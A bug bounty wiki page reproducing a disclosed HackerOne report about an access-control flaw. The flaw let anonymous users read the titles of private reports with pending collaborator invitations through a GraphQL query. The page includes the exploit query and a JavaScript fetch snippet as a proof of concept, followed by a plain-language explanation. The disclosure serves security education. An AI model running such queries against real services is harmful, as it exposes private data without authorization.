Skip to content
Access control Disclosed report Intermediate

View Titles of Private Reports with pending email invitation

A private report with a pending email invitation could have its title read by an unauthenticated user through a GraphQL query. An attacker could learn the titles of possibly unfixed private reports.

ahacker1 Follow

Originally disclosed on HackerOne

High 7.7 View original
  • Disclosed after 5 days

Summary:

If a private report has a pending email invitation for collaboration, an anonymous user can see the title of the report. This only works for anonymous users, and the collaboration invitation must be through Manage Collaborators invitation panel.

Description:

Steps To Reproduce

  1. As victim:

In a report to a bug bounty program, add a collaborator, using any email, such as: ██████████ Save the integer ID of the report.

  1. In a new, anonymous/unauthenticated/logged-out session:

Send GraphQL request, replacing PRIVATE_REPORT_ID integer:

GraphQL
{
  report(id:IPRIVATE_REPORT_ID){
    title
  }
}

OR run JS implementation: By visiting hackerone.com/hacktivity as anonymous:

JavaScript
const csrf_token = document.getElementsByName("csrf-token")[0].getAttribute("content")
const REPORT_ID = PRIVATE_REPORT_ID // integer

var resp = await(await fetch("https://hackerone.com/graphql", {
  "headers": {
    "accept": "*/*",
    "content-type": "application/json",
    "x-csrf-token": csrf_token,
  },
  "body": JSON.stringify({
    "operationName": "HacktivitySearchQuery",
    "variables": {
        "reportId": REPORT_ID
    },
    "query": `query HacktivitySearchQuery($reportId: Int!) {
  report(id: $reportId){
    id
    url
    title
  }
}
`
}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
})).json()
console.log(resp.data.report)

The title of the report is the response, confirming the vulnerability.

Impact

Can read titles of possibly unfixed reports. This can be leveraged against the program, depending on the specificity of the title in the report.

The original report as published on HackerOne, by ahacker1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An anonymous user could read the titles of possibly unfixed private reports, which may reveal the subject of the bug.

What the attacker needed

Private report with a pending email invitation; attacker knows the integer report ID; no account needed

How it was found

  1. As the victim, add a collaborator to a private report using any email and note the report's integer ID.
  2. In a new anonymous session, send a GraphQL request for that report ID asking for the title.
  3. Observe the report title in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A private report is meant to be visible only to those involved. Here, a logged-out visitor could ask the site's data API for a report by its number and get back the title when there is a pending email invitation. The title alone can still leak what the bug is about.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by ahacker1

View all

17 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.